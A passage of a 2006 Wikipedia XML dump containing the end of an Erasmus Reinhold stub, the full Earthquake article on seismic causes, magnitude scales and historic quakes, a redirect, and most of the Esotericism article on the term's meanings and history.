Duke [[Albert of Brandenburg Prussia]] supported Reinhold and financed the printing of Reinhold's [[Prutenicae Tabulae]], or &quot;Prussian Tables.&quot; These astronomical tables helped to disseminate [[Copernican principle]] throughout the Empire. Both Reinholds's Prussian Tables and Copernicus' studies were the foundation for the [[Calendar Reform]] by [[Pope Gregory XIII]] in 1582.

{{sci-hist-stub}}

[[Category:1511 births|Reinhold, Erasmus]]
[[Category:1553 deaths|Reinhold, Erasmus]]
[[Category:German astronomers|Reinhold, Erasmus]]
[[Category:German mathematicians|Reinhold, Erasmus]]
[[Category:16th century mathematicians|Reinhold, Erasmus]]
[[Category:History of astronomy|Reinhold, Erasmus]]

[[de:Erasmus Reinhold]]
[[sl:Erasmus Reinhold]]</text>
    </revision>
  </page>
  <page>
    <title>Earthquake</title>
    <id>10106</id>
    <revision>
      <id>42016110</id>
      <timestamp>2006-03-03T06:01:33Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.6.141.45|24.6.141.45]] to last version by Vsmith</comment>
      <text xml:space="preserve">:{{dablink|For other senses of this word, see [[earthquake (disambiguation)]].}}
[[Image:Quake epicenters 1963-98.png|thumb|350px|Global earthquake [[epicenter]]s, 1963&amp;ndash;1998]]
An '''earthquake''' is a sudden and sometimes catastrophic movement of a part of the [[Earth]]'s surface. Earthquakes result from the dynamic release of elastic strain energy that radiates [[seismic wave]]s. Earthquakes typically result from the movement of [[Geologic fault|fault]]s, planar zones of deformation within the Earth's upper [[Crust (geology)|crust]]. The word earthquake is also widely used to indicate the source region itself. The Earth's [[lithosphere]] is a patch work of plates in slow but constant motion (see [[plate tectonics]]). Earthquakes occur where the [[Stress (physics)|stress]] resulting from the differential motion of these plates exceeds the strength of the crust. The highest stress (and possible weakest zones) are most often found at the boundaries of the [[tectonic plates]] and hence these locations are where the majority of earthquakes occur.  Events located at plate boundaries are called [[interplate earthquake]]s; the less frequent events that occur in the interior of the lithospheric plates are called [[intraplate earthquake]]s (see, for example, [[New Madrid Seismic Zone]]). Earthquakes related to plate tectonics are called tectonic earthquakes. Most earthquakes are tectonic, but they also occur in [[volcanic]] regions and as the result of a number of anthropogenic sources, such as reservoir induced seismicity, mining and the removal or injection of fluids into the crust. Seismic waves including some strong enough to be felt by [[humans]] can also be caused by explosions (chemical or nuclear), landslides, and collapse of old mine shafts, though these sources are not strictly earthquakes. These sources will also show a different seismogram than earthquakes

== Characteristics ==
Large numbers of earthquakes occur on a daily basis on Earth, but the majority of them are detected only by [[seismometers]] and cause no damage .

Most earthquakes occur in narrow regions around plate boundaries  down to depths of a few tens of kilometres where the [[Crust (geology)|crust]] is rigid enough to support the elastic strain. Where the crust is thicker and colder they will occur at greater depths and the opposite in areas that are hot. At [[subduction zones]] where plates descend into the [[Mantle (geology)|mantle]], earthquakes have been recorded to a depth of 600 km, although these deep earthquakes are caused by different mechanisms than the more common shallow events.  Some deep earthquakes may be due to the transition of [[olivine]] to [[spinel]], which is more stable in the deep mantle.  

Large earthquakes can cause serious destruction and massive loss of life through a variety of agents of damage, including fault rupture, vibratory ground motion (i.e., shaking), inundation (e.g., [[tsunami]], [[seiche]], dam failure), various kinds of permanent ground failure (e.g. [[earthquake liquefaction|liquefaction]], [[landslide]]), and [[fire]] or a release of [[hazardous material]]s. In a particular earthquake, any of these agents of damage can dominate, and historically each has caused major damage and great loss of life, but for most of the earthquakes shaking is the dominant and most widespread cause of damage. There are four types of [[seismic wave]]s that are all generated simultaneously and can be felt on the ground. [[S-wave]]s (secondary or shear waves) and the two types of surfaces waves ([[Love waves]] and [[Rayleigh waves]]) are responsible for the shaking hazard. 
[[Image:SanFranHouses06.JPG|thumb|200px|Damage from the [[1906 San Francisco earthquake]].]]
[[image:EarthquakeFreewayCa1989.jpg|thumb|200px|Section of collapsed freeway after the 1989 [[Loma Prieta earthquake]].]]

Most large earthquakes are accompanied by other, smaller ones, that can occur either before or after the principal quake &amp;mdash; these are known as [[foreshock]]s or [[aftershock]]s, respectively. While almost all earthquakes have aftershocks, foreshocks are far less common occurring in only about 10% of events. The power of an earthquake is distributed over a significant area, but in the case of large earthquakes, it can spread over the entire planet. Ground motions caused by very distant earthquakes are called [[teleseism]]s. The [[Rayleigh waves]] from the [[2004 Indian Ocean earthquake|Sumatra-Andaman Earthquake of 2004]] caused ground motion of over 1 cm even at the [[seismometers]] that were located far from it, although this displacement was abnormally large. Using such ground motion records from around the world it is possible to identify a point from which the earthquake's [[seismic wave]]s appear to originate. That point is called its &quot;focus&quot; or &quot;[[hypocenter]]&quot; and usually proves to be the point at which the fault slip was initiated. The location on the surface directly above the hypocenter is known as the &quot;[[epicenter]]&quot;. The total size of the fault that slips, the rupture zone, can be as large as 1000 km, for the biggest earthquakes. Just as a large [[loudspeaker]] can produce a greater volume of sound than a smaller one, large faults are capable of higher magnitude earthquakes than smaller faults are.

Earthquakes that occur below sea level and have large vertical displacements can give rise to [[tsunami]]s, either as a direct result of the deformation of the sea bed due to the earthquake or as a result of submarine landslips or &quot;slides&quot; directly or indirectly triggered by it.

== Earthquake Size ==
The first method of quantifying earthquakes was intensity scales. In the United States the [[Mercalli Intensity Scale|Mercalli (or Modified Mercalli, MM) scale]] is commonly used, while Japan ([[Japan Meteorological Agency seismic intensity scale|shindo]])  and the EU ([[European Macroseismic Scale]]) each have their own scales. These assign a numeric value (different for each scale) to a location based on the size of the shaking experienced there.  The value 6 (normally denoted &quot;VI&quot;) in the MM scale for example is:

''Everyone feels movement. People have trouble walking. Objects fall from shelves. Pictures fall off walls. Furniture moves. Plaster in walls might crack. Trees and bushes shake. Damage is slight in poorly built buildings. No structural damage.''

[[image:Nisqually_Earthquake_ShakeMAp_Mon_13_2003.jpg|thumb|200px|Right|A Shakemap recorded by the [[Pacific Northwest Seismograph Network]] that shows the instrument recorded intensity of the shaking of the [[Nisqually earthquake]] on [[February 28]] [[2001]].]]

[[image:Nisqually_Community_Internet_Intensity_Map_for_the_Nisqually_Earthquake_FEB_2281854_ciim.gif|thumb|200px|Right|A Community Internet Intensity Map generated by the [[United States Geological Survey|USGS]] that shows the intensity felt by humans by [[ZIP Code]] of the shaking of the [[Nisqually earthquake]] on [[February 28]] [[2001]].]]

The problem with these scales is the measurement is subjective, often based on the worst damage in an area and influenced by local effects like site conditions that make it a poor measure for the relative size of different events in different places. For some tasks related to engineering and local planning it is still useful for the very same reasons and thus still collected. If you feel an earthquake in the US you can report the effects to the USGS.

The first attempt to qualitatively define one value to describe the size of earthquakes was the magnitude scale (the name being taking from similar formed scales used on the brightness of stars). In the [[1930s]], a California seismologist named [[Charles F. Richter]] devised a simple numerical scale (which he called the [[Richter magnitude scale|magnitude]]) to describe the relative sizes of earthquakes in Southern California. This is known as the “[[Richter scale]]”, “Richter Magnitude” or “Local Magnitude” (M&lt;sub&gt;L&lt;/sub&gt;).  It is obtained by measuring the maximum amplitude of a recording on a Wood-Anderson torsion [[seismometer]] (or one calibrated to it) at a distance of 600km from the earthquake. Other more recent Magnitude measurements include: body wave magnitude (m&lt;sub&gt;b&lt;/sub&gt;), surface wave magnitude (M&lt;sub&gt;s&lt;/sub&gt;) and duration magnitude (M&lt;sub&gt;D&lt;/sub&gt;).  Each of these is scaled to gives values similar to the values given by the Richter scale. However as each is also based on the measurement of one  part of the [[seismogram]] they do not measure the overall power of the source  and can suffer from saturation at higher magnitude values (larger events fail to produce higher magnitude values).These scales are also empirical and as such there is no physical meaning to the values. They are still useful however as they can be rapidly calculated, there are catalogues of them dating back many years and are they are familiar to the public. [[Seismologist]]s now favor a measure called the [[seismic moment]], related to the concept of [[moment (physics)|moment]] in physics, to measure the size of a seismic source. The seismic moment is calculated from [[seismogram]]s but can also by obtained from geologic estimates of the size of the fault rupture and the displacement. The values of moments for different earthquakes ranges over several order of magnitude. As a result the moment magnitude (M&lt;sub&gt;W&lt;/sub&gt;) scale was introduced by Hiroo Kanamori, which is comparable to the other magnitude scales but will not saturate at higher values.

Larger earthquakes occur less frequently than smaller earthquakes, the relationship being [[exponential function|exponential]], ie roughly ten times as many earthquakes larger than 4 occur in a particular time period than earthquakes larger than magnitude 5. For example it has been calculated that the average recurrence for the [[United Kingdom]] can be described as follows:
*an earthquake of 3.7 or larger every 1 year
*an earthquake of 4.7 or larger every 10 years
*an earthquake of 5.6 or larger every 100 years.

== Causes ==
Most earthquakes are powered by the release of the elastic strain that accumulate over time, typically, at the boundaries of the plates that make up the Earth's [[lithosphere]] via a process called [[Elastic-rebound theory]]. The Earth is made up of tectonic plates driven by the heat in the Earth's mantle and core. Where these plates meet stress accumulates.   Eventually when enough stress accumulates, the plates move, causing an earthquake.  [[Deep focus earthquake]]s, at depths of 100's km, are possibly generated as subducted lithospheric material catastrophically undergoes a [[phase transition]] since at the pressures and temperatures present at such depth elastic strain cannot be supported.
Some earthquakes are also caused by the movement of [[magma]] in [[volcano]]es, and such quakes can be an early warning of volcanic eruptions. A rare few earthquakes have been associated with the build-up of large masses of water behind [[dam]]s, such as the [[Kariba Dam]] in [[Zambia]], [[Africa]], and with the injection or extraction of fluids into the Earth's crust (e.g. at certain [[geothermal power]] plants and at the [[Rocky Mountain Arsenal]]). Such earthquakes occur because the strength of the Earth's crust can be modified by fluid pressure. Earthquakes have also been known to be caused by the removal of [[natural gas]] from subsurface deposits, for instance in the northern [[Netherlands]].  Finally, ground shaking can also result from the detonation of [[explosive]]s. Thus  scientists have been able to monitor, using the tools of [[seismology]], [[nuclear weapon]]s tests performed by governments that were not disclosing information about these tests along normal channels. Earthquakes such as these, that are caused by human activity, are referred to by the term [[induced seismicity]].

Another type of movement of the Earth is observed by [[terrestrial spectroscopy]]. These oscillations of the earth are either due to the deformation of the Earth by [[tide]] caused by the [[Moon]] or the [[Sun]], or other phenomena.

A recently proposed theory suggests that some earthquakes may occur in a sort of [[earthquake storm]], where one earthquake will trigger a series of earthquakes each triggered by the previous shifts on the fault lines, similar to aftershocks, but occurring years later.

==Preparation for earthquakes==
*[[Emergency preparedness]]
*[[Household seismic safety]]
*[[Seismic retrofit]]
*[[Earthquake prediction]]

==Specific fault articles==
*[[Alpine Fault]]
*[[Calaveras Fault]]
*[[Hayward Fault Zone]]
*[[North Anatolian Fault Zone]]
*[[New Madrid Fault Zone]]
*[[San Andreas Fault]]
*[[Great Sumatran fault]]

==Specific earthquake articles==
*[[Shaanxi Earthquake]] (1556). Deadliest known earthquake in history, estimated to have killed 830,000 in [[China]].
*[[Cascadia Earthquake]] (1700).
*[[Kamchatka earthquakes]] (1737 and 1952).
*[[1755 Lisbon earthquake|Lisbon earthquake]] (1755).
*[[New Madrid Earthquake]] (1811).
*[[Fort Tejon earthquake|Fort Tejon Earthquake]] (1857).
*[[Charleston earthquake]] (1886). Largest earthquake in the Southeast and killed 100.
*[[1906 San Francisco Earthquake|San Francisco Earthquake]] (1906).
*[[Great Kanto earthquake]] (1923). On the Japanese island of [[Honshu]], killing over 140,000 in [[Tokyo]] and environs.
*[[Kamchatka earthquakes]] (1952 and 1737).
*[[Great Chilean Earthquake]] (1960). Biggest earthquake ever recorded, 9.5 on Moment magnitude scale.
*[[Good Friday Earthquake]] (1964) Alaskan earthquake.
*[[1970 Ancash earthquake|Ancash earthquake]] (1970). Caused a [[landslide]] that buried the town of [[Yungay]], [[Peru]]; killed over 40,000 people.
*[[Sylmar earthquake]] (1971). Caused great and unexpected destruction of freeway bridges and flyways in the [[San Fernando Valley]], leading to the first major [[seismic retrofit|seismic retrofits]] of these types of structures, but not at a sufficient pace to avoid the next California freeway collapse in 1989.
*[[Tangshan earthquake]] (1976). The most destructive earthquake of modern times. The official death toll was 255,000, but many experts believe that two or three times that number died. 
*[[Great Mexican Earthquake]] (1985). 8.1 on the Richter Scale, killed over 6,500 people (though it is believed as many as 30,000 may have died, due to missing people never reappearing.)
*[[Whittier Narrows earthquake]] (1987).
*[[Spitak Earthquake|Armenian earthquake]] (1988). Killed over 25,000.
*[[Loma Prieta earthquake]] (1989). Severely affecting [[Santa Cruz, California|Santa Cruz]], [[San Francisco]] and [[Oakland, California|Oakland]] in [[California]]. Revealed necessity of accelerated seismic retrofit of road and bridge structures.
*[[1994 Northridge Earthquake|Northridge, California earthquake]] (1994). Damage showed seismic resistance deficiencies in modern low-rise apartment construction.
*[[Great Hanshin earthquake]] (1995). Killed over 6,400 people in and around [[Kobe]], [[Japan]].
*[[1999 Izmit, Turkey Earthquake|&amp;#x130;zmit earthquake]] (1999) Killed over 17,000 in northwestern Turkey.
*[[Düzce earthquake]] (1999)
*[[Chi-Chi earthquake]] (1999).
*[[Nisqually Earthquake]] (2001).
*[[2001 Gujarat Earthquake|Gujarat Earthquake]] (2001).
*[[2002 Dudley earthquake|Dudley Earthquake]] (2002).
*[[Bam, Iran#2003 earthquake|Bam Earthquake]] (2003).
*[[Parkfield earthquake|Parkfield, California earthquake]] (2004). Not large (6.0), but the most anticipated and intensely instrumented earthquake ever recorded and likely to offer insights into predicting future earthquakes elsewhere on similar slip-strike fault structures.
*[[2004 Chuetsu Earthquake|Chuetsu Earthquake]] (2004).
*[[2004 Indian Ocean earthquake|Indian Ocean Earthquake]] (2004). One of the largest earthquakes ever recorded at 9.0. Epicenter off the coast of the [[Indonesia]]n island [[Sumatra]]. Triggered a [[tsunami]] which caused nearly 300,000 deaths spanning several countries.
*[[2005 Sumatran earthquake|Sumatran Earthquake]] (2005).
*[[2005 Fukuoka earthquake|Fukuoka earthquake]] (2005).
*[[2005 Kashmir earthquake|Kashmir earthquake]] (2005). Killed over 79,000 people. Many more at risk from the Kashmiri winter.
*[[2005 Lake Tanganyika earthquake|Lake Tanganyika earthquake]] (2005).
*[[Ottawa Earthquake]] (2006) Magnitude 4.5 , strongest earthquake to hit Canada's capital in 15 years. Caused minimal damage

==See also==
*[[Earthquake insurance]]
*[[Earthquake lights]]
*[[Elastic-rebound theory]]
*[[Catastrophe modeling]]
*[[Geophysics]]
*[[Interplate earthquake]]
*[[Intraplate earthquake]]
*[[Megathrust earthquake]]
*[[Moonquake]]
*[[List of earthquakes]]
*[[Plate tectonics]]
*[[List of tectonic plates]]
*[[Seismic wave]]
*[[Seismograph]]
*[[Seismology]]
*[[Tsunami]]
*The [[VAN method]] to predict earthquakes

== External links ==
{{commons|Earthquake}}
*[http://www.eqnet.org/ EQNET: Earthquake Information Network]
*[http://neic.usgs.gov/ The U.S. National Earthquake Information Center]
*[http://earthquake.usgs.gov/faq/ USGS Earthquake FAQs]
*[http://www.ssn.unam.mx/ Mexican Sismological Service] Reports earthquakes in Mexico. Updated regularly.
*[http://wapi.isu.edu/envgeo/EG5_earthqks/eg_mod5.htm Environmental Geology - GEOL 406/506 (Earthquakes)]
*[http://www.gfz-potsdam.de/pb5/pb53/projekt/ems/ The European Macroseismic Scale]
*[http://simscience.org/crackling/Advanced/Earthquakes/GutenbergRichter.html Gutenberg-Richter] [[power law]] of earthquake frequency against magnitude
*[http://www.guardian.co.uk/flash/0,5860,1121610,00.html Interactive guide: Earthquakes] an educational presentation on why earthquakes happen by [[Guardian Unlimited]]
*[http://www.geowall.org Geowall]- an educational 3d presentation system for looking at and understanding earthquake data
*[http://www.sciencecourseware.com/VirtualEarthquake/ Virtual Earthquake] educational site explaining how epicenters are located and magnitude is determined
*[http://www.pbs.org/newshour/science/earthquake/ PBS NewsHour - Predicting Earthquakes]
*[http://www.data.scec.org/ Southern California Earthquake Data Center]
*[http://www.emsc-csem.org/ European-Mediterranean Seismological Centre (EMSC)]
*[http://www.gfz-potsdam.de/geofon/seismon/globmon.html Global Seismic Monitor at GFZ Potsdam]
*[http://earthquake.usgs.gov/bytopic/eqmonitoring/history/part09.php USGS Earthquake Monitoring History]
*[http://tsunami.geo.ed.ac.uk/local-bin/quakes/mapscript/demo_run.pl Global Earthquake Report &amp;ndash; chart updated with each new earthquake or aftershock]
*[http://hraun.vedur.is/ja/englishweb/index.html Earthquakes in Iceland during the last 48 hours], updated automatically once every 2 minutes.
*[http://www.data.scec.org/recenteqs/Quakes/quakes0.html Recent earthquakes in California and Nevada ]
*[http://neic.usgs.gov/neis/eqlists/10maps_world.html USGS &amp;ndash; Largest earthquakes in the world since 1900]
*[http://www.armageddononline.org/earthquake.php The Destruction of Earthquakes - and a List of the Worst ever recorded]
*[http://www.losangelesearthquakes.com Los Angeles Earthquakes plotted on a Google map]
*[http://rev.seis.sc.edu Seismograms for recent earthquakes via REV, the Rapid Earthquake Viewer]
*[http://www.iris.edu Incorporated Research Institutions for Seismology (IRIS)], earthquake database and software
*[http://www.iris.edu/seismon/ IRIS Seismic Monitor], world map of recent earthquakes
*[http://www.iris.edu/seismo/ SeismoArchives], Seismogram Archives of Significant Earthquakes of the World
*[http://www.em-dat.net the EM-DAT International Disaster Database]
*[http://www.projectshum.org/NaturalDisasters/earthquake.html Natural Disasters - Earthquake] Great geological site for kids

[[Category:Seismology]]
[[Category:Geological hazards]]
[[Category:Structural engineering]]

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      <text xml:space="preserve">#REDIRECT [[Electroplating]]</text>
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  <page>
    <title>Esotericism</title>
    <id>10109</id>
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      <comment>robot  Adding: hu, ru</comment>
      <text xml:space="preserve">{{dablink|This article is about '''Esotericism'''.  See [[Esoteric (band)]] and [[Esoterica (band)]] for the English bands.  See  [[Esoteric programming language]] for the type of computer programming language.}}
'''Esotericism''' refers to knowledge that is secret or not generally known. It is knowledge suitable only for the advanced, privileged, or initiated, or knowledge of an 'inner' nature, as opposed to [[exotericism|exoteric knowledge]], which is well-known or public. It is used especially to describe [[Mysticism|mystical]], [[occult]] and [[Spirituality|spiritual]] viewpoints.

Historically, 'esoteric knowledge' generally described knowledge kept secret from outsiders by certain select groups, such as [[Freemasonry|Freemasons]] or [[magic (paranormal)|magical]] orders, either for reasons of exclusivity, or to protect themselves against prejudice. More recently, as [[occult]] and [[mysticism|mystical]] teachings have become more publicly available (through such groups as the [[Theosophical Society]] and the [[Rosicrucian Fellowship]]), another sense of ''esoteric'' has become more prominent: that which is complex and difficult to grasp except by the few who are more perceptive or aware.

==Etymology==
'''Esoteric''' is an [[adjective]] originating in [[Greece|Hellenic Greece]] under the domain of the Roman Empire; it comes from the Greek ''esôterikos'',  from ''esôtero'', the [[comparative]] form of ''esô'': &quot;within&quot;. ''Esoteric'' refers to  anything that is inner and occult. Its antonym is [[exoteric]], from the Greek ''eksôterikos'', from ''eksôtero'', the comparative form of ''eksô'': &quot;outside&quot;. [[Plato]], in his dialogue ''Alcibíades'' (aprox. [[390 BC]]), uses the expression ''ta esô'' meaning «the inner things», and in his dialogue ''Teeteto'' (aprox. [[360 BC]]) he uses ''ta eksô'' meaning «the outside things». The probable first appearance of the Greek [[adjective]] ''esôterikos'' is in [[Lucian of Samosata]]'s &quot;The Auction of Lives&quot;, § 26 (also called &quot;The Auction of the Philosophical Schools&quot;), written around AD 166. [http://paginasesotericas.tripod.com/esoterismo.htm]

The term ''esoteric'' first appeared in English in the [[1701]] ''History of Philosophy'' by [[Thomas Stanley]], in his description of the &quot;Auditors of [[Pythagoras]].&quot; The Pythagoreans were divided into &quot;exoteric,&quot; which were under review, and &quot;esoteric,&quot; which had performed well enough to be admitted into the &quot;inner&quot; circle.

'''Esotericism''' (sometimes written ''esoterism'') as a [[noun|noun substantive]] first appeared in the 1828 work ''Histoire critique du gnosticisme et de ses influences'' of the early prominent [[Martinism|Martinist]] [[Jacques Matter]] (1791-1864). Later, [[Eliphas Lévi]], also a Martinist, [[occult]]ist and [[kabbala|cabalist]], made common the use of the terms «esotericism» and «occultism», and both terms eventually became fashionable through the writings of [[Helena Petrovna Blavatsky]] and other personalities of the [[Theosophical Society]] in the last quarter of 19th century and the beginning of the 20th century. Through these authors the term «esotericism» gains a sense of 'inner' knowledge and experience: knowledge pertaining to the [[soul]], [[spirit]] or [[psyche]].

==Connotations==
==== &quot;Esotericism&quot; as ''selective'' ====
A prime example of a historically highly '''selective''' category of esoteric teaching is within the academic discipline of [[philosophy]], (in particular, [[philosophy of mind]]), whose teachers maintain selectivity by limiting their scope to colleges and universities. This discipline has not focused entirely on esoteric thought, but enough that the term &quot;philosophical knowledge&quot; can generally be used in the place of &quot;esoteric knowledge&quot; when referring to knowledge pertaining to the same &quot;inner&quot; aspects listed above. The [[Oxford English Dictionary]] lists as its prime definition of esoteric, &quot;Of philosophical doctrines,&quot; although modern philosophers generally avoid the term &quot;esoteric&quot; due to its negative associations with the [[occult]] as described below. 

In the late 19th to early 20th Century, the discipline of [[psychology]] branched off from philosophy a reaction away from the &quot;inner&quot; nature of philosphy towards the more [[empirical]], practical, exoteric nature of science and medicine. Ironically this was spearheaded by [[Sigmund Freud]] and [[Carl Jung]], both of whom privately showed great interest in the [[occult]] and esotericism, including [[psychic]] phenomena, although it would be difficult in the time of [[Darwin]] and [[Einstein]] to appear unscientific in their professional lives. Through the 20th Century to present day, there have been various subsets of psychology that were more esoteric or spiritual than [[behavioral psychology|behavioral]] or scientific in basis, such as [[Gestalt therapy]], although these subsets generally avoided the term &quot;esotericism&quot; due to its negative connotation with &quot;the occult&quot; and &quot;New Age&quot; authors such as [[Alice Bailey]], who wrote a series of books in the early 20th Century entitled [[Esoteric Psychology]]. Many esoteric Eastern teachings, or '''Eastern esotericism,''' are also referred to as [[Eastern philosophies]], although if they are taught, practiced, or reformulated by Westerners, they are often considered [[New Age]], a term Bailey coined. 

==== &quot;Esotericism&quot; as ''secretive'' or &quot;occult&quot; ====
On the other hand, there are many examples of the highly '''''secretive'' category of esoteric teachings''', which are usually referred to as [[occult]] (from the Latin for ''hidden''). The category of &quot;the occult&quot; is broad and encompasses many exoteric teachings as well, such as [[alchemy]], particularly if those teachings may have also had an esoteric aspect. Further, efforts by certain religions to identify and warn against [[heretical]] teachings has added a highly pejorative connotation to &quot;occult,&quot; and by extension, &quot;esoteric.&quot; This is so prevalent that many non-religious sources now consider &quot;occult&quot; and &quot;esoteric&quot; to mean exactly the same thing, and it has also led to religions like [[Voodoo]], [[Sufiism]], and [[Wicca]] to be grouped together with [[Satanism]], [[cult]]s, and [[Dungeons and Dragons]], regardless of how &quot;hidden&quot; or &quot;inner&quot; the concerns of any of these may be, or even if they are religions at all (but merely games that make no attempt to be ''secretive''). Historically, &quot;occult&quot; (i.e. secretive and hidden) forms of esotericism (&quot;inner&quot; teachings) included [[magic (paranormal)|magic]], [[freemasonry]], and certain [[monastic]] and [[ascetic]] traditions. In Eastern societies, however, such as [[Tibet]], esoteric knowledge was more generally known and was not suppressed by those in power. As well, today in modern Western societies, due to the [[separation of church and state]], the suppression of &quot;inner&quot; teachings has generally subsided, to the extent that formerly secret groups such as the [[Theosophical Society]] and the [[Rosicrucian Fellowship]] may teach freely to anyone, often without cost.

==== &quot;Esotericism&quot; in current usage ====
In Western, English-speaking societies today, the term '''&quot;esotericism&quot; is commonly used in the sense of &quot;the occult,&quot;''' though it carries fewer pejorative connotations. The descriptive term &quot;esoteric,&quot; in slight contrast, has come to mean any '''knowledge that is difficult to understand or remember''', such as [[theoretical physics]], or that pertains to the minutiae of a particular discipline, such as &quot;esoteric&quot; [[baseball]] statistics. The term &quot;esoteric&quot; does not necessarily refer to &quot;esotericism&quot; ''per se'' in the sense of &quot;inner&quot; knowledge, disciplines, or practices, and for this reason &quot;esotericists&quot; generally choose to refer to themselves by a more specific term related to their discipline (such as [[Gnostic]], [[Kabbalist]], [[Sufi]], [[Mystic]], etc.). 

Some present-day teachings choose to term themselves as forms of &quot;esotericism&quot; due to their focus on the &quot;inner&quot; aspects of experience (such as [[self-transformation]]) or the &quot;inner&quot; meanings of religious texts (such as [[Esoteric Christianity]] and &quot;the Work&quot; of [[G.I. Gurdjieff]]). A variety of past traditions could be classified as forms of &quot;esotericism&quot; due to their similar &quot;inner&quot; focus as well as their &quot;selective&quot; and &quot;secretive&quot; nature, for example [[Martinism]], which was (arguably) one of the most influential &quot;occult&quot; movements since [[the Enlightenment]].

==Esoteric vs. Esotericism==
The word '''''esoteric''''' generally relates to that which is known and accepted by a restricted number of people (contrast [[exoteric]]). The word '''''esotericism''''' (or ''esoterism'') used in a general sense can simply mean any knowledge which is secret or confidential. Used in its more specific sense it refers to the knowledge of those who claim to have had supernatural experiences. While these experiences typically are not validated by scientific experiments, scientific proof is not always necessary for belief. Esoteric experiences tend to be highly subjective and so are difficult to study with the scientific method. There exists some skepticism about these experiences due to this lack of empirical evidence and sufficient proof; however, among supporters of esotericism, most believe that measurement of this phenomena simply exceeds current scientific capabilities. Esotericism is one of the subjects studied under the discipline [[parapsychology]].

==Nuances==
''Esotericism'' largely overlaps with ''[[occultism]]'' which simply means &quot;hidden knowledge.&quot; However, in the 20th century many esotericists avoid the latter term owing to negative connotations associated with it (for example, the presumption that it involves devil-worship or black magic). For the same reason, many (predominantly Christian) opponents of esotericism prefer the term &quot;occultism.&quot;

Much overlap exists as well between esotericism and [[mysticism]]. However, many mystical traditions do not attempt to introduce additional spiritual knowledge, but rather seek to focus the believer's attention or prayers more strongly upon the object of devotion. Thus [[Trappist]] monk [[Thomas Merton]] may be a mystic, but is probably not an esotericist.

The [[New Age]] movement has many links with various esoteric traditions. However, many esotericists disavow the &quot;New Age&quot; label. Often they reject elements of the New Age movement as commercialism and/or naivite with which they do not wish to be associated. Another difficulty is that of describing as &quot;new&quot; esoteric traditions that may be hundreds or even thousands of years old. On the other hand, &quot;traditions&quot; that are actually rather new are often clothed in a fictional history and passed off as ancient in commercialized esotericism; it takes some discernment to see through such marketing techniques.

&quot;[[Theosophy]]&quot; means &quot;divine wisdom&quot; and once&amp;mdash;in the writings of [[Jacob Boehme]], for example&amp;mdash;meant something similar to &quot;esotericism.&quot; Today, however, it has come to refer to the [[Theosophical Society]] founded by [[H.P. Blavatsky]], and to other movements in this tradition.

Finally, culturally speaking, many followers of [[Satanism]] do probably belong under the general category of esotericism. However, these are shunned by practically everyone else, and for that matter their relationships with one another have been strained as well. Esotericism has far deeper ties--both historically and in the present day--with Christianity, though conservative Christian groups may be uncomfortable with the forms that this Christianity has taken.

==Scope==
Many religious movements in various parts of the world claim to possess a higher, truer, or better interpretation of the wider religion of which they are a part. Whether they are correct is inevitably a matter of controversy. Not infrequently, the claims of one esoteric group may be rejected by the wider religious culture, or by other esoteric groups which make their own rival claims.

While esotericism tends to focus on personal enlightenment and internal spiritual practice, organized religion or [[exotericism]] tends to focus on outer spiritual practice and ritual and on laws that govern the society.  Nevertheless, esotericism also involves traditions, institutions, and other public aspects.

Esotericism is often said to assume the existence of a spiritual elite, as distinct from the believing masses. While many elements within esotericism are rooted in folk traditions--examples would include the Western study of magic and [[witchcraft]]--these have arguably become transformed into elite traditions by virtue of their appropriation by later antiquarians.

&quot;Esotericism&quot; often suggests an additional element of secrecy, for example the requirement that one be initiated before learning the higher truth (as in the case of the [[Freemasons]]). Note however that most &quot;esoteric&quot; teachings are widely available, and indeed often actively promoted. Some of this may be because it is now generally safer to promote alternative religious viewpoints than before.

Another possibility is that such knowledge may be kept secret not by the intention of its protectors, but by its very nature&amp;mdash;for example, if it is accessible only to those with the proper intellectual or spiritual background. An example would be [[alchemy]], success in which is said to involve copious amounts of study, practice, and spiritual preparation.

In some religious contexts, especially within Western Christianity, &quot;esoteric&quot; knowledge is seen as somewhat dangerous to the mainstream of that religion, involving the possibility of heresy. In other religious cultures such as [[Judaism]], the leaders of the mainstream religion have historically also been recognized as the elite interpreters of its esoteric dimension, in this case [[Kabbalah]].

The English word &quot;esotericism&quot; is usually applied to Western spiritual traditions. However, it has occasionally been used for non-Western religions, or more often, interpreted in such a way as to include such phenomena as [[yoga]] or [[tantra]]. 

The criteria for inclusion under the label of &quot;esoteric&quot; are not always made explicit, and the result is often a matter of taste or historical usage. For example [[Emanuel Swedenborg]], but not [[Mary Baker Eddy]], is usually considered an esoteric figure, even though both developed their own inspired interpretations of the Bible.

==Historical sketch==
Esotericism is not a single tradition but a vast array of often unrelated figures and movements. Nevertheless, the following may be helpful.

The Roman Empire gave birth not only to Christianity but also to a group of [[mystery religions]] which emphasized initiation. Some see Christianity, with its initiation ritual of baptism, as a mystery religion. 

After Christianity became the state religion of Rome, dissident Christian groups became persecuted as traitors to the state. Also, pagan groups came to be suppressed as well. The terms &quot;[[Gnosticism]]&quot; and &quot;[[Gnosis]]&quot; have been challenged as coherent categories, but refer to a family of ancient Jewish, Christian, and pagan religious movements which often did claim to possess secret teachings relating to the spirit world, as opposed to the ordinary world which they tended to denigrate. Another important movement from the ancient world was [[Hermeticism]], sometimes called [[Hermetism]] to distinguish it from post-Renaissance appropriations of it. Separately, ancient Babylon provided the basis for Western [[astrology]].

During the Middle Ages such things as [[astrology]], [[alchemy]], and magic were not distinct from the standard subjects of the curriculum of an educated man. While some people assume esotericism to be opposed to the Bible or Christianity, as a historical matter this tension did not arise until later. Indeed, Christianity contributed its own esoteric imagery, notably the [[Holy Grail]] from [[Arthurian literature]].

The institutional danger of esotericism is its potential as an alternative source of doctrine or authority. In [[Gershom Scholem]]'s view, normative Judaism distanced itself from [[Kaballah]] in the wake of [[Shabbatai Zevi]]'s use of it to bolster his messianic pretentions. Similarly, [[Roman Catholic]] theologians seem to have shied away from esoteric subjects at about the same time that certain elements within the [[Protestant Reformation]] were celebrating them. An example would be the initial wave of [[Rosicrucian]] manifestoes. [[Protestant Reformation#Reformation begins 16th century | Magisterial]] Protestants themselves grew suspicious of esoteric traditions as they began to be invoked by [[pietist]] inspired figures such as [[Swedenborg]]. 

Hence esotericism's inherently marginal or fringe status in the modern West. Nevertheless, esotericism of one type or another has influenced [[Descartes]], [[Leibniz]], [[Newton]], [[Shakespeare]], [[Goethe]], [[Kant]], and [[William Blake]], to name just a few exemplary figures.

